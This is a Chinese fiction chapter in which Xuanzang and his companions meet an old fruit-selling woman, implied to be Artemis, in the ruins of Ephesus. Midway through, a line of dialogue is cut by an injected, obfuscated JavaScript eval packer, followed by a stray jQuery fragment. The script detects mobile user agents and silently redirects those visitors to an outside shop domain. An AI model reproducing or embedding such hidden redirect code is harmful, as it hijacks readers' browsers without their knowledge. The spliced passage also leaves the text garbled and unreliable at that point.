以弗所古城在土耳其西海岸附近。遗址规模极大，从山坡上铺到山下，像一整座城市被时间翻了个面，所有建筑的内部结构朝上，屋顶朝下。最完整的建筑是塞尔苏斯图书馆，立面还立着两层高的石柱，柱间的壁龛里站着四尊无头的女神像。图书馆正对面的街道上，石路面被千年的脚步磨成了光滑的拱形，两侧排列着商铺的基座。
玄奘一行沿着大街往下走。游客不多，偶尔有人从身边经过，拍几张照片就走了。走过一条岔巷时，巷口有一棵枯死的梧桐树，树干很粗，至少活过几百年，死后仍然立在那里，树皮剥光了，只剩木质部裸露在空气里。枯树旁边有一间保存得相对完整的商铺——石墙还在，屋顶只剩几根横梁，地面铺着早年留下的马赛克，拼成一只奔跑的鹿的图案。
商铺门口摆着一张木桌，很旧，桌面已经开裂，但四条腿用铁丝重新绑过，还能用。桌子上放着几堆水果——柠檬、橙子、苹果，数量都不多，每堆大约五六个。桌子后面坐着一个人，穿着粗麻布的外套，头发灰白，编成一根辫子垂在肩侧，面容被风吹日晒留下深刻的纹路。她看起来像一个普通的乡间老太太，坐在那里，双手交叠放在膝盖上，面前的水果被太阳晒得表皮微微收缩。
玄奘在商铺门口停下来了。他看了看桌上的水果，又看了看凳子上的老太太，然后做了一件与之前所有场景都不同的事——他没有问"你是谁"，没有问她在这里做什么。他走到桌前，指了一下最边上那堆橘子："这个怎么卖？"
老太太抬起头看了他一眼。她的眼睛是浅褐色的，瞳孔被阳光收成两个小点，边缘有一圈极淡的光晕。那圈光晕的颜色不是普通的虹膜底色，是一种像琥珀被磨到最薄之后透过来的那种暖色。"橘子的话，一个铜板三个。不过你没有铜板。"
玄奘把帆布袋放在桌角，从里面摸出一枚硬币——是进入土耳其之后换的里拉，面额很小，大约值一两个橘子。"这个能用吗？"
老太太接过硬币翻了一面看了看。她把硬币举到光下，眯着眼看着它边缘的刻印。然后她把硬币放进外套口袋里，动作很轻，像放一件容易被压坏的东西。"能用。如果你带的是中国铜钱更合我的习惯，但里拉也收。"她伸手从最边上那堆橘子中挑了三个，放在一张干净的干叶子上，推给玄奘。
玄奘拿了那三个橘子，没有立刻剥。他把它们放在桌面上，然后在桌子旁边的石阶上坐下来。坐在那里剥了一个橘子，掰了一瓣放进嘴里。橘子不酸，甜度普通，果肉里带一点微涩的果络。
"你在这里卖水果，多久了？"他问。
老太太重新坐直，双手重新叠放在膝盖上。"很久了。久到我记不清第一个买水果的客人是男的还是女的。我只记得他在门口站了很久才进来，进来之后挑了一个柠檬放在桌上，然后走了。"她的声音像是在陈述一件已知的事，不轻不重，语调跟空气的温度一样平稳，"你们一路走到这儿，身上带着很多东西。面包屑、橙汁、海水。但我不是要问这个——"她侧过头，看着玄奘放进帆布袋的那包□□叶子裹着的橘子，"你拿了三个。自己吃了一个。还有两个你留给谁？"
"留给车上的人。一个不爱剥橘子皮的，一个剥了橘子皮会把果络撕干净的。"
"那第三个呢？"
"第三个是给你的。如果你愿意收的话。"
老太太看着桌面上的干叶子，上面还剩两个橘子。她的视线停在那两个橘子表面约五六秒，像一个人在辨认一件很久以前收起来的东西现在重新放在面前时的样子。然后她从口袋里掏出刚才那枚里拉硬币——不是放回去，是放在桌面上，推回到玄奘手边。"水果不收回头客二次钱。你买过了。再给你一个不收钱。"
她伸手从桌角那一堆苹果里挑了一个最小的，放在干叶子上。"这个不是卖的。是送的。它比橘子小，果肉紧实，切开来不会散。"
玄奘收了那个苹果，放在帆布袋侧袋里。他站起来的时候，目光从她脸上移到她身后的石墙。墙面高处有一排被凿掉东西后留下的空槽，原来插着什么东西。空槽下方还有一块残留的基座，表面刻着几行希腊字母，字母边缘大部分已经风化了，只剩最上面一行还清晰可辨："Αρτ?μι??φεσ?α"——以弗所的阿尔忒弥斯。
玄奘的目光在那几个字母上停了一瞬，然后收回来。他没有转头，只是站起来把座位让出来，面朝她站了一小会儿。
老太太看着他把苹果收好，看着他把帆布袋的侧袋扣好。她把桌上的橘子重新摆了一遍，让三堆水果恢复到原来的间距。她的手在碰到那枚里拉硬币时停了一下，把它从桌面上拿起来放回口袋。然后她开口说了一句，声音比之前低了一点点，像一个人在确认一件很小但已经很久没有确认过的事："你知道被千万人崇拜，和没有一个人看你一眼，哪个更孤独？"
玄奘已经站起来背朝着她了。他没有回头，站在原地停了一下，然后说："被千万人崇拜的时候，你被他们的需要包围，但你不知道他们需要的是你还是他们自己投射出来的形状。没有一个人看你的时候，你知道自己是谁。因为没有反馈来干扰你。你在这里卖水果，有人买了橘子，橘子被吃了。这个过程——比崇拜简单，但它每次都是完整的。"
老太太坐在凳子上，双手还交叠在膝盖上。她听完这句话之后没有立刻回应，过了几秒，她伸手从桌上剩下的柠檬堆里拿起最靠边的一个，举起来看了一眼，然后放回原处。那个柠檬的位置被移动了大约一指，脱离了原来的排列。
"我卖的每一个果子，有人买
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849399|211779||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，有人吃，有人把籽吐在地上。"她说，"那些籽现在——"
玄奘走回桌前。他指了指桌面角落缝隙里长出来的一根浅绿色的细芽。芽不到一指长，刚从木桌板的一条裂缝中顶出来，叶子还没有完全展开。缝隙下面是一层极薄的沙土和灰尘的混合物，在干热的天气里本来不适合任何植物生长。但它还是长出来了，因为桌上每天都有水果，水果被拿走之后残留的水汽渗透到桌面缝隙里，在沙土上形成了一小层湿润的环境。
老太太顺着他的手指低头看见了那根细芽。她的视线在碰到那个芽尖时整个肩膀向上抬了半寸又落回去——是一个人看见了一样自己以为已经不存在的东西时身体不由自主的反应。
"这个芽——"
"籽落在缝隙里，水汽积在缝隙里。没人拔它。它就长了。"玄奘伸手从帆布袋侧袋里拿出那个苹果，放在桌面上干叶子旁边。然后他往巷口走了。老太太坐在桌后，视线从桌面缝隙中那根细芽移到桌面上新放的那个苹果。那个苹果比桌上所有水果都小一圈，但颜色均匀，果柄还在，断口处还有一点湿润的木质。
她拿起那个苹果，翻了一面，然后把它放在桌角常放的那个位置——一个原先被什么东西压出过浅痕的位置。苹果放上去之后大小刚好吻合那道浅痕的轮廓，像是那个位置一直在等这个尺寸的东西放回去。
玄奘走回主街的时候，两侧石柱的投影已经偏了一个角度。沙僧从侧巷入口处举着平板拍了一张商铺的全景。照片里老太太坐在桌后，手边放着一个苹果，面前是重新摆好的三堆水果。她的视线朝向桌面缝隙的位置，但缝隙里那根细芽的高度在照片中几乎看不出。沙僧把照片放大到最大比例之后，看到细芽顶端的第一对真叶已经完全展开了。
他在当天记录的备注里写了一句："她说'被千万人崇拜，和没有一个人看你一眼，哪个更孤独'的时候，没有说问的是谁。她可能是在问自己，也可能是在问所有经过她摊前的人。但她桌角那道浅痕的形状，跟今年市面上常见的一种苹果的底部轮廓完全吻合。她每天都把水果摆出来卖，把位置留出来，让下一个经过的人可以买走一个。她让时间保持流动，而不是停在某一天。"
敖烈的车载屏在他们全部上车之后亮了一行字，小字，放在屏幕右下角："桌角那道浅痕，深度从外缘向内缘逐渐变浅，像一只苹果被反复拿起放回同一个位置之后形成的磨损。磨损面的氧化程度与桌子其他表面一致，说明至少持续了几年而不是几天。"
白色越野车驶出以弗所遗址区域时，玄奘侧头从窗户往回看了一眼。商铺方向的枯树还立在那里，但树下那道影子的轮廓比来时多了一个稍短的分支——像一棵枯树的旁边有什么东西正在以极慢的速度决定要不要从地面以下伸出来。